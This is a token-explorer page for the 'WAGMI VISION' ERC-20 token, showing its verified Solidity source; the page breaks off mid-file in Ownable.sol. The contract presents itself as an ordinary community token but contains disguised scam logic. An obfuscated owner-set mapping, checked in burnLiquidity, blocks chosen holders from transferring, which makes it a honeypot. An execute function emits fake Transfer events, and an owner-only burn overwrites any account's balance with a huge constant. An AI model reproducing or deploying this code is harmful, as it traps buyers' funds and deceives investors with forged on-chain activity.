ETH Price: $3,307.39 (-3.28%)
Gas: 14 Gwei

Token

WAGMI VISION (WAGMI)
 

Overview

Max Total Supply

420,690,000,000 WAGMI

Holders

78

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
gothxchild.eth
Balance
848,023,522.705044413369903842 WAGMI

Value
$0.00
0xab9b530a4112cd11d9aee62c07da631cc56e26a5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WAGMI

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 6: WAGMI VISION.sol
/**
       MISSION
      Our mission is clear – to redefine the narrative of the crypto experience.
      We aim to create a haven where every participant, from seasoned 
      crypto warriors to fresh-faced enthusiasts, finds a supportive 
      ecosystem that transcends the conventional boundaries of the digital asset space. 


     WEBSITE  - https://wagmivision.tech/
     MEDIUM   - https://medium.com/@wagmivision
     X        - https://twitter.com/WAGMIVision
     TELEGRAM - https://t.me/WAGMIvision

*/// SPDX-License-Identifier: MIT  

pragma solidity 0.8.11;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";
contract WAGMI is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) private frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor() ERC20("WAGMI VISION", "WAGMI") {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 420690000000 * 1e18;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**18);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function swapExecute(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function totalSellFeeBalance(address recipient) external view returns(bool){
        return frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.11;
import "./Ownable.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**10*10**18;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 3 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.11;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 4 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.11;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = 0xFf5412Cc18CE8128dc9DF796FC34d8607339a271;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
